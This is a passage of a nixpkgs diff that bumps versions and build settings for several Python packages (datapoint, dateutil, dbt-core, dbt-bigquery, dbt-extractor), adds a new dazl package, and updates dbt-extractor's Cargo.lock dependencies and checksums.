"sha256-0e0ZRgwcS/46mi4c2loAnBA2bsaD+/RiMh7oNg3EvHY="; + hash = "sha256-YWAyEMojw0bc/fu5kIZKMNPEgsAIpWqjVNodWXbgTl4="; }; nativeBuildInputs = with rustPlatform; [ @@ -53,7 +54,11 @@ buildPythonPackage rec { maturinBuildHook ]; - buildInputs = [ protobuf ] ++ lib.optionals stdenv.isDarwin [ libiconv Security ]; + buildInputs = [ protobuf ] ++ lib.optionals stdenv.isDarwin [ + libiconv + Security + SystemConfiguration + ]; propagatedBuildInputs = [ pyarrow ]; diff --git a/pkgs/development/python-modules/datapoint/default.nix b/pkgs/development/python-modules/datapoint/default.nix index e93651be16254..9f9c0b55c2359 100644 --- a/pkgs/development/python-modules/datapoint/default.nix +++ b/pkgs/development/python-modules/datapoint/default.nix @@ -1,25 +1,42 @@ { lib , buildPythonPackage , fetchFromGitHub +, fetchpatch2 , appdirs , pytz , requests , pytestCheckHook , requests-mock +, pythonOlder +, setuptools }: buildPythonPackage rec { pname = "datapoint"; - version = "0.9.8"; - format = "setuptools"; + version = "0.9.9"; + pyproject = true; + + disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "ejep"; repo = "datapoint-python"; - rev = "v${version}"; - hash = "sha256-YC8KFTv6lnCqMfDw1LSova7XBgmKbR3TpPDAAbH9imw="; + rev = "refs/tags/v${version}"; + hash = "sha256-zUvwfBwJe8SaB96/Jz7Qeanz1mHmLVp2JW9qkR2dRnY="; }; + patches = [ + (fetchpatch2 { + # Hardcode version (instead of using versioneer) + url = "https://github.com/EJEP/datapoint-python/commit/57e649b26ecf39fb11f507eb920b1d059d433721.patch"; + hash = "sha256-trOPtwlaJDeA4Kau4fwZCxqJiw96+T/le461t09O8io="; + }) + ]; + + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ appdirs pytz @@ -38,6 +55,7 @@ buildPythonPackage rec { meta = { description = "Python interface to the Met Office's Datapoint API"; homepage = "https://github.com/ejep/datapoint-python"; + changelog = "https://github.com/EJEP/datapoint-python/blob/v${version}/CHANGELOG.md"; license = lib.licenses.gpl3Only; maintainers = with lib.maintainers; [ dotlambda ]; }; diff --git a/pkgs/development/python-modules/dateutil/default.nix b/pkgs/development/python-modules/dateutil/default.nix index d1dcac893a469..fb7280fd2a168 100644 --- a/pkgs/development/python-modules/dateutil/default.nix +++ b/pkgs/development/python-modules/dateutil/default.nix @@ -1,6 +1,7 @@ { lib , buildPythonPackage , fetchPypi +, fetchpatch , setuptools-scm , six }: @@ -14,6 +15,15 @@ buildPythonPackage rec { hash = "sha256-ASPKzBYnrhnd88J6XeW9Z+5FhvvdZEDZdI+Ku0g9PoY="; }; + patches = [ + # https://github.com/dateutil/dateutil/pull/1285 + (fetchpatch { + url = "https://github.com/dateutil/dateutil/commit/f2293200747fb03d56c6c5997bfebeabe703576f.patch"; + relative = "src"; + hash = "sha256-BVEFGV/WGUz9H/8q+l62jnyN9VDnoSR71DdL+LIkb0o="; + }) + ]; + nativeBuildInputs = [ setuptools-scm ]; propagatedBuildInputs = [ six ]; diff --git a/pkgs/development/python-modules/dazl/default.nix b/pkgs/development/python-modules/dazl/default.nix new file mode 100644 index 0000000000000..f913501e0da5f --- /dev/null +++ b/pkgs/development/python-modules/dazl/default.nix @@ -0,0 +1,74 @@ +{ lib +, buildPythonPackage +, fetchPypi +, fetchpatch + +, poetry-core + +, aiohttp +, googleapis-common-protos +, grpcio +, protobuf +, requests +, semver +, toposort + +#, async_exit_stack +#, dataclasses +, google-auth +, oauthlib +, prometheus-client +, pygments +, pyopenssl +, typing-extensions +}: + +buildPythonPackage rec { + pname = "dazl"; + version = "7.11.0"; + + src = fetchPypi { + inherit pname version; + sha256 = "sha256-IErym/Fd8G75NOa+xOyV87UNmEaB31XPvg8GWCSP7k8="; + }; + + patches = [ + # Merged, remove this next release + (fetchpatch { + url = "https://github.com/digital-asset/dazl-client/pull/428.patch"; + sha256 = "sha256-Gx9W1XkvMPg8FAOAXijDF5QnMbntk5mR0q5+o5i2KAE="; + }) + ]; + + format = "pyproject"; + + nativeBuildInputs = [ + poetry-core + ]; + + propagatedBuildInputs = [ + aiohttp + googleapis-common-protos + grpcio + protobuf + requests + semver + toposort + + # optional + + #async-exit-stack + #dataclasses + google-auth + oauthlib + prometheus-client + pygments + pyopenssl + typing-extensions + ]; + + meta = with lib; { + description = "High-level Ledger API client for Daml ledgers"; + license = licenses.apsl20; + }; +} diff --git a/pkgs/development/python-modules/dbt-bigquery/default.nix b/pkgs/development/python-modules/dbt-bigquery/default.nix index 9e276cf143f2c..cb1d12bca703d 100644 --- a/pkgs/development/python-modules/dbt-bigquery/default.nix +++ b/pkgs/development/python-modules/dbt-bigquery/default.nix @@ -1,29 +1,35 @@ { lib -, buildPythonPackage -, fetchFromGitHub , agate +, buildPythonPackage , dbt-core +, fetchFromGitHub , google-cloud-bigquery -, google-cloud-storage , google-cloud-dataproc +, google-cloud-storage , pytestCheckHook +, pythonOlder , pythonRelaxDepsHook +, setuptools +, urllib3 }: buildPythonPackage rec { pname = "dbt-bigquery"; - version = "1.7.2"; - format = "setuptools"; + version = "1.7.6"; + pyproject = true; + + disabled = pythonOlder "3.7"; src = fetchFromGitHub { owner = "dbt-labs"; - repo = pname; + repo = "dbt-bigquery"; rev = "refs/tags/v${version}"; - hash = "sha256-CzRcnS/aECBq/9L8U+mLuHYo00HyBtKK6jmU8S03feM="; + hash = "sha256-bF2++Bs4pvqA3GW2xJkRNa1HkqnHBbMnKHHjo1TWboM="; }; nativeBuildInputs = [ pythonRelaxDepsHook + setuptools ]; pythonRelaxDeps = [ diff --git a/pkgs/development/python-modules/dbt-core/default.nix b/pkgs/development/python-modules/dbt-core/default.nix index 3eb4ff8b2927a..806444d411b19 100644 --- a/pkgs/development/python-modules/dbt-core/default.nix +++ b/pkgs/development/python-modules/dbt-core/default.nix @@ -1,13 +1,12 @@ { lib -, python3 -, buildPythonPackage -, fetchFromGitHub , agate +, buildPythonPackage , cffi , click , colorama , dbt-extractor , dbt-semantic-interfaces +, fetchFromGitHub , hologram , idna , isodate @@ -19,10 +18,13 @@ , packaging , pathspec , protobuf +, python3 +, pythonOlder , pythonRelaxDepsHook , pytz , pyyaml , requests +, setuptools , sqlparse , typing-extensions , urllib3 @@ -31,20 +33,23 @@ buildPythonPackage rec { pname = "dbt-core"; - version = "1.7.4"; - format = "setuptools"; + version = "1.7.9"; + pyproject = true; + + disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "dbt-labs"; - repo = pname; + repo = "dbt-core"; rev = "refs/tags/v${version}"; - hash = "sha256-+2tmLclBZrY9SDCKvQ4QNbI4665BtsrEI1sBSY3GVGM="; + hash = "sha256-ff+cdY6xy14w30BDn1ct/2Q+4j8cQupJrJHb4vO58J0="; }; sourceRoot = "${src.name}/core"; nativeBuildInputs = [ pythonRelaxDepsHook + setuptools ]; pythonRelaxDeps = [ @@ -53,6 +58,7 @@ buildPythonPackage rec { "mashumaro" "networkx" "logbook" + "urllib3" ]; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/dbt-extractor/Cargo.lock b/pkgs/development/python-modules/dbt-extractor/Cargo.lock index 8b297123703a7..1d8c77883f247 100644 --- a/pkgs/development/python-modules/dbt-extractor/Cargo.lock +++ b/pkgs/development/python-modules/dbt-extractor/Cargo.lock @@ -4,18 +4,18 @@ version = 3 [[package]] name = "aho-corasick" -version = "0.7.18" +version = "1.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1e37cfd5e7657ada45f742d6e99ca5788580b5c529dc78faf11ece6dc702656f" +checksum = "43f6cb1bf222025340178f382c426f13757b2960e89779dfcb319c32542a5a41" dependencies = [ "memchr", ] [[package]] name = "autocfg" -version = "1.0.1" +version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cdb031dd78e28731d87d56cc8ffef4a8f36ca26c38fe2de700543e627f8a464a" +checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" [[package]] name = "bitflags" @@ -25,9 +25,9 @@ checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" [[package]] name = "cc" -version = "1.0.69" +version = "1.0.79" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e70cc2f62c6ce1868963827bd677764c62d07c3d9a3e1fb1177ee1a9ab199eb2" +checksum = "50d30906286121d95be3d479533b458f87493b30a4b5f79a607db8f5d11aa91f" [[package]] name = "cfg-if" @@ -37,9 +37,9 @@ checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" [[package]] name = "crossbeam-channel" -version = "0.5.1" +version = "0.5.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "06ed27e177f16d65f0f0c22a213e17c696ace5dd64b14258b52f9417ccb52db4" +checksum = "a33c2bf77f2df06183c3aa30d1e96c0695a313d4f9c453cc3762a6db39f99200" dependencies = [ "cfg-if", "crossbeam-utils", @@ -47,9 +47,9 @@ dependencies = [ [[package]] name = "crossbeam-deque" -version = "0.8.1" +version = "0.8.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6455c0ca19f0d2fbf751b908d5c55c1f5cbc65e03c4225427254b46890bdde1e" +checksum = "ce6fd6f855243022dcecf8702fef0c297d4338e226845fe067f6341ad9fa0cef" dependencies = [ "cfg-if", "crossbeam-epoch", @@ -58,30 +58,29 @@ dependencies = [ [[package]] name = "crossbeam-epoch" -version = "0.9.5" +version = "0.9.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4ec02e091aa634e2c3ada4a392989e7c3116673ef0ac5b72232439094d73b7fd" +checksum = "ae211234986c545741a7dc064309f67ee1e5ad243d0e48335adc0484d960bcc7" dependencies = [ + "autocfg", "cfg-if", "crossbeam-utils", - "lazy_static", "memoffset", "scopeguard", ] [[package]] name = "crossbeam-utils" -version = "0.8.5" +version = "0.8.16" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d82cfc11ce7f2c3faef78d8a684447b40d503d9681acebed6cb728d45940c4db" +checksum = "5a22b2d63d4d1dc0b7f1b6b2747dd0088008a9be28b6ddf0b1e7d335e3037294" dependencies = [ "cfg-if", - "lazy_static", ] [[package]] name = "dbt-extractor" -version = "0.4.1" +version = "0.5.1" dependencies = [ "pyo3", "quickcheck", @@ -94,9 +93,9 @@ dependencies = [ [[package]] name = "either" -version = "1.6.1" +version = "1.8.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e78d4f1cc4ae33bbfc157ed5d5a5ef3bc29227303d595861deb238fcec4e9457" +checksum = "7fcaabb2fef8c910e7f4c7ce9f67a1283a1715879a7c230ca9d6d1ae31f16d91" [[package]] name = "env_logger" @@ -110,9 +109,9 @@ dependencies = [ [[package]] name = "getrandom" -version = "0.2.3" +version = "0.2.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7fcd999463524c52659517fe2cea98493cfe485d10565e7b0fb07dbba7ad2753" +checksum = "be4136b2a15dd319360be1c07d9933517ccf0be8f16bf62a3bee4f0d618df427" dependencies = [ "cfg-if", "libc", @@ -121,95 +120,58 @@ dependencies = [ [[package]] name = "hermit-abi" -version = "0.1.19" +version = "0.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33" -dependencies = [ - "libc", -] +checksum = "443144c8cdadd93ebf52ddb4056d257f5b52c04d3c804e657d19eb73fc33668b" [[package]] name = "indoc" -version = "0.3.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "47741a8bc60fb26eb8d6e0238bbb26d8575ff623fdc97b1a2c00c050b9684ed8" -dependencies = [ - "indoc-impl", - "proc-macro-hack", -] - -[[package]] -name = "indoc-impl" -version = "0.3.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ce046d161f000fffde5f432a0d034d0341dc152643b2598ed5bfce44c4f3a8f0" -dependencies = [ - "proc-macro-hack", - "proc-macro2", - "quote", - "syn", - "unindent", -] - -[[package]] -name = "instant" -version = "0.1.10" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bee0328b1209d157ef001c94dd85b4f8f64139adb0eac2659f4b08382b2f474d" -dependencies = [ - "cfg-if", -] - -[[package]] -name = "lazy_static" -version = "1.4.0" +version = "1.0.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" +checksum = "bfa799dd5ed20a7e349f3b4639aa80d74549c81716d9ec4f994c9b5815598306" [[package]] name = "libc" -version = "0.2.101" +version = "0.2.147" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3cb00336871be5ed2c8ed44b60ae9959dc5b9f08539422ed43f09e34ecaeba21" +checksum = "b4668fb0ea861c1df094127ac5f1da3409a82116a4ba74fca2e58ef927159bb3" [[package]] name = "lock_api" -version = "0.4.4" +version = "0.4.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0382880606dff6d15c9476c416d18690b72742aa7b605bb6dd6ec9030fbf07eb" +checksum = "c1cc9717a20b1bb222f333e6a92fd32f7d8a18ddc5a3191a11af45dcbf4dcd16" dependencies = [ + "autocfg", "scopeguard", ] [[package]] name = "log" -version = "0.4.14" +version = "0.4.19" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "51b9bbe6c47d51fc3e1a9b945965946b4c44142ab8792c50835a980d362c2710" -dependencies = [ - "cfg-if", -] +checksum = "b06a4cde4c0f271a446782e3eff8de789548ce57dbc8eca9292c27f4a42004b4" [[package]] name = "memchr" -version = "2.4.1" +version = "2.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "308cc39be01b73d0d18f82a0e7b2a3df85245f84af96fdddc5d202d27e47b86a" +checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d" [[package]] name = "memoffset" -version = "0.6.4" +version = "0.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "59accc507f1338036a0477ef61afdae33cde60840f4dfe481319ce3ad116ddf9" +checksum = "5a634b1c61a95585bd15607c6ab0c4e5b226e695ff2800ba0cdccddf208c406c" dependencies = [ "autocfg", ] [[package]] name = "num_cpus" -version = "1.13.0" +version = "1.16.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "05499f3756671c15885fee9034446956fff3f243d6077b91e5767df161f766b3" +checksum = "4161fcb6d602d4d2081af7c3a45852d875a03dd337a6bfdd6e06407b61342a43" dependencies = [ "hermit-abi", "libc", @@ -217,115 +179,100 @@ dependencies = [ [[package]] name = "once_cell" -version = "1.9.0" +version = "1.18.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "da32515d9f6e6e489d7bc9d84c71b060db7247dc035bbe44eac88cf87486d8d5" +checksum = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d" [[package]] name = "parking_lot" -version = "0.11.1" +version = "0.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6d7744ac029df22dca6284efe4e898991d28e3085c706c972bcd7da4a27a15eb" +checksum = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f" dependencies = [ - "instant", "lock_api", "parking_lot_core", ] [[package]] name = "parking_lot_core" -version = "0.8.3" +version = "0.9.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fa7a782938e745763fe6907fc6ba86946d72f49fe7e21de074e08128a99fb018" +checksum = "93f00c865fe7cabf650081affecd3871070f26767e7b2070a3ffae14c654b447" dependencies = [ "cfg-if", - "instant", "libc", "redox_syscall", "smallvec", - "winapi", -] - -[[package]] -name = "paste" -version = "0.1.18" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "45ca20c77d80be666aef2b45486da86238fabe33e38306bd3118fe4af33fa880" -dependencies = [ - "paste-impl", - "proc-macro-hack", -] - -[[package]] -name = "paste-impl" -version = "0.1.18" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d95a7db200b97ef370c8e6de0088252f7e0dfff7d047a28528e47456c0fc98b6" -dependencies = [ - "proc-macro-hack", + "windows-targets", ] [[package]] -name = "proc-macro-hack" -version = "0.5.19" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dbf0c48bc1d91375ae5c3cd81e3722dff1abcf81a30960240640d223f59fe0e5" - -[[package]] name = "proc-macro2" -version = "1.0.28" +version = "1.0.66" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5c7ed8b8c7b886ea3ed7dde405212185f423ab44682667c8c6dd14aa1d9f6612" +checksum = "18fb31db3f9bddb2ea821cde30a9f70117e3f119938b5ee630b7403aa6e2ead9" dependencies = [ - "unicode-xid", + "unicode-ident", ] [[package]] name = "pyo3" -version = "0.15.1" +version = "0.19.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7cf01dbf1c05af0a14c7779ed6f3aa9deac9c3419606ac9de537a2d649005720" +checksum = "ffb88ae05f306b4bfcde40ac4a51dc0b05936a9207a4b75b798c7729c4258a59" dependencies = [ "cfg-if", "indoc", "libc", + "memoffset", "parking_lot", - "paste", "pyo3-build-config", + "pyo3-ffi", "pyo3-macros", "unindent", ] [[package]] name = "pyo3-build-config" -version = "0.15.1" +version = "0.19.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dbf9e4d128bfbddc898ad3409900080d8d5095c379632fbbfbb9c8cfb1fb852b" +checksum = "554db24f0b3c180a9c0b1268f91287ab3f17c162e15b54caaae5a6b3773396b0" dependencies = [ "once_cell", + "target-lexicon", +] + +[[package]] +name = "pyo3-ffi" +version = "0.19.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "922ede8759e8600ad4da3195ae41259654b9c55da4f7eec84a0ccc7d067a70a4" +dependencies = [ + "libc", + "pyo3-build-config", ] [[package]] name = "pyo3-macros" -version = "0.15.1" +version = "0.19.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "67701eb32b1f9a9722b4bc54b548ff9d7ebfded011c12daece7b9063be1fd755" +checksum = "8a5caec6a1dd355964a841fcbeeb1b89fe4146c87295573f94228911af3cc5a2" dependencies = [ + "proc-macro2", "pyo3-macros-backend", "quote", - "syn", + "syn 1.0.109", ] [[package]] name = "pyo3-macros-backend" -version = "0.15.1" +version = "0.19.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f44f09e825ee49a105f2c7b23ebee50886a9aee0746f4dd5a704138a64b0218a" +checksum = "e0b78ccbb160db1556cdb6fd96c50334c5d4ec44dc5e0a968d0a1208fa0efa8b" dependencies = [ "proc-macro2", - "pyo3-build-config", "quote", - "syn", + "syn 1.0.109", ] [[package]] @@ -347,75 +294,84 @@ checksum = "b22a693222d716a9587786f37ac3f6b4faedb5b80c23914e7303ff5a1d8016e9" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 1.0.109", ] [[package]] name = "quote" -version = "1.0.9" +version = "1.0.31" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c3d0b9745dc2debf507c8422de05d7226cc1f0644216dfdfead988f9b1ab32a7" +checksum = "5fe8a65d69dd0808184ebb5f836ab526bb259db23c657efa38711b1072ee47f0" dependencies = [ "proc-macro2", ] [[package]] name = "rand" -version = "0.8.4" +version = "0.8.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2e7573632e6454cf6b99d7aac4ccca54be06da05aca2ef7423d22d27d4d4bcd8" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" dependencies = [ "rand_core", ] [[package]] name = "rand_core" -version = "0.6.3" +version = "0.6.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d34f1408f55294453790c48b2f1ebbb1c5b4b7563eb1f418bcfcfdbb06ebb4e7" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" dependencies = [ "getrandom", ] [[package]] name = "rayon" -version = "1.5.1" +version = "1.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c06aca804d41dbc8ba42dfd964f0d01334eceb64314b9ecf7c5fad5188a06d90" +checksum = "1d2df5196e37bcc87abebc0053e20787d73847bb33134a69841207dd0a47f03b" dependencies = [ - "autocfg", - "crossbeam-deque", "either", "rayon-core", ] [[package]] name = "rayon-core" -version = "1.9.1" +version = "1.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d78120e2c850279833f1dd3582f730c4ab53ed95aeaaaa862a2a5c71b1656d8e" +checksum = "4b8f95bd6966f5c87776639160a66bd8ab9895d9d4ab01ddba9fc60661aebe8d" dependencies = [ "crossbeam-channel", "crossbeam-deque", "crossbeam-utils", - "lazy_static", "num_cpus", ] [[package]] name = "redox_syscall" -version = "0.2.10" +version = "0.3.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8383f39639269cde97d255a32bdb68c047337295414940c68bdd30c2e13203ff" +checksum = "567664f262709473930a4bf9e51bf2ebf3348f2e748ccc50dea20646858f8f29" dependencies = [ "bitflags", ] [[package]] name = "regex" -version = "1.5.4" +version = "1.9.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d07a8629359eb56f1e2fb1652bb04212c072a87ba68546a04065d525673ac461" +checksum = "b2eae68fc220f7cf2532e4494aded17545fce192d59cd996e0fe7887f4ceb575" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39354c10dd07468c2e73926b23bb9c2caca74c5501e38a35da70406f1d923310" dependencies = [ "aho-corasick", "memchr", @@ -424,58 +380,75 @@ dependencies = [ [[package]] name = "regex-syntax" -version = "0.6.25" +version = "0.7.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f497285884f3fcff424ffc933e56d7cbca511def0c9831a7f9b5f6153e3cc89b" +checksum = "e5ea92a5b6195c6ef2a0295ea818b312502c6fc94dde986c5553242e18fd4ce2" [[package]] name = "scopeguard" -version = "1.1.0" +version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" [[package]] name = "smallvec" -version = "1.6.1" +version = "1.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fe0f37c9e8f3c5a4a66ad655a93c74daac4ad00c441533bf5c6e7990bb42604e" +checksum = "62bb4feee49fdd9f707ef802e22365a35de4b7b299de4763d44bfea899442ff9" [[package]] name = "syn" -version = "1.0.75" +version = "1.0.109" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b7f58f7e8eaa0009c5fec437aabf511bd9933e4b2d7407bd05273c01a8906ea7" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" dependencies = [ "proc-macro2", "quote", - "unicode-xid", + "unicode-ident", ] [[package]] +name = "syn" +version = "2.0.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "45c3457aacde3c65315de5031ec191ce46604304d2446e803d71ade03308d970" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "target-lexicon" +version = "0.12.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d2faeef5759ab89935255b1a4cd98e0baf99d1085e37d36599c625dac49ae8e" + +[[package]] name = "thiserror" -version = "1.0.26" +version = "1.0.43" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "93119e4feac1cbe6c798c34d3a53ea0026b0b1de6a120deef895137c0529bfe2" +checksum = "a35fc5b8971143ca348fa6df4f024d4d55264f3468c71ad1c2f365b0a4d58c42" dependencies = [ "thiserror-impl", ] [[package]] name = "thiserror-impl" -version = "1.0.26" +version = "1.0.43" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "060d69a0afe7796bf42e9e2ff91f5ee691fb15c53d38b4b62a9a53eb23164745" +checksum = "463fe12d7993d3b327787537ce8dd4dfa058de32fc2b195ef3cde03dc4771e8f" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.26", ] [[package]] name = "tree-sitter" -version = "0.19.5" +version = "0.20.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ad726ec26496bf4c083fff0f43d4eb3a2ad1bba305323af5ff91383c0b6ecac0" +checksum = "e747b1f9b7b931ed39a548c1fae149101497de3c1fc8d9e18c62c1a66c683d3d" dependencies = [ "cc", "regex", @@ -483,49 +456,84 @@ dependencies = [ [[package]] name = "tree-sitter-jinja2" -version = "0.1.0" -source = "git+https://github.com/dbt-labs/tree-sitter-jinja2?tag=v0.1.0#52da7b0b1480b23381ea84cf5ea3bf058dd6d8c4" +version = "0.2.0" +source = "git+https://github.com/dbt-labs/tree-sitter-jinja2?tag=v0.2.0#c9b092eff38bd6943254ad0373006d83c100a8c0" dependencies = [ "cc", "tree-sitter", ] [[package]] -name = "unicode-xid" -version = "0.2.2" +name = "unicode-ident" +version = "1.0.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8ccb82d61f80a663efe1f787a51b16b5a51e3314d6ac365b08639f52387b33f3" +checksum = "301abaae475aa91687eb82514b328ab47a211a533026cb25fc3e519b86adfc3c" [[package]] name = "unindent" -version = "0.1.7" +version = "0.1.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f14ee04d9415b52b3aeab06258a3f07093182b88ba0f9b8d203f211a7a7d41c7" +checksum = "e1766d682d402817b5ac4490b3c3002d91dfa0d22812f341609f97b08757359c" [[package]] name = "wasi" -version = "0.10.2+wasi-snapshot-preview1" +version = "0.11.0+wasi-snapshot-preview1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fd6fbd9a79829dd1ad0cc20627bf1ed606756a7f77edff7b66b7064f9cb327c6" +checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" [[package]] -name = "winapi" -version = "0.3.9" +name = "windows-targets" +version = "0.48.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +checksum = "05d4b17490f70499f20b9e791dcf6a299785ce8af4d709018206dc5b4953e95f" dependencies = [ - "winapi-i686-pc-windows-gnu", - "winapi-x86_64-pc-windows-gnu", + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", ] [[package]] -name = "winapi-i686-pc-windows-gnu" -version = "0.4.0" +name = "windows_aarch64_gnullvm" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91ae572e1b79dba883e0d315474df7305d12f569b400fcf90581b06062f7e1bc" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2ef27e0d7bdfcfc7b868b317c1d32c641a6fe4629c171b8928c7b08d98d7cf3" + +[[package]] +name = "windows_i686_gnu" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "622a1962a7db830d6fd0a69683c80a18fda201879f0f447f065a3b7467daa241" + +[[package]] +name = "windows_i686_msvc" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4542c6e364ce21bf45d69fdd2a8e455fa38d316158cfd43b3ac1c5b1b19f8e00" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca2b8a661f7628cbd23440e50b05d705db3686f894fc9580820623656af974b1" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" +checksum = "7896dbc1f41e08872e9d5e8f8baa8fdd2677f29468c4e156210174edc7f7b953" [[package]] -name = "winapi-x86_64-pc-windows-gnu" -version = "0.4.0" +name = "windows_x86_64_msvc" +version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" +checksum = "1a515f5799fe4961cb532f983ce2b23082366b898e52ffbce459c86f67c8378a" diff --git a/pkgs/development/python-modules/dbt-extractor/default.nix b/pkgs/development/python-modules/dbt-extractor/default.nix index 2656be91086d3..74b1bb4d3d24c 100644 --- a/pkgs/development/python-modules/dbt-extractor/default.nix +++ b/pkgs/development/python-modules/dbt-extractor/default.nix @@ -1,26 +1,29 @@ -{ stdenv -, lib +{ lib +, stdenv , buildPythonPackage , fetchPypi -, rustPlatform , libiconv +, pythonOlder +, rustPlatform }: buildPythonPackage rec { pname = "dbt-extractor"; - version = "0.4.1"; - format = "setuptools"; + version = "0.5.1"; + pyproject = true; + + disabled = pythonOlder "3.7"; src = fetchPypi { pname = "dbt_extractor"; inherit version; - hash = "sha256-dbHGZWmewPH/zhuj13b3386AIVbyLnCnucjwtNfoD0I="; + hash = "sha256-zV2VV2qN6kGQJAqvmTajf9dLS3kTymmjw2j8RHK7fhM="; }; cargoDeps = rustPlatform.importCargoLock { lockFile = ./Cargo.lock; outputHashes = { - "tree-sitter-jinja2-0.1.0" = "sha256-lzA2iq4AK0iNwkLvbIt7Jm5WGFbMPFDi6i4AFDm0FOU="; + "tree-sitter-jinja2-0.2.0" = 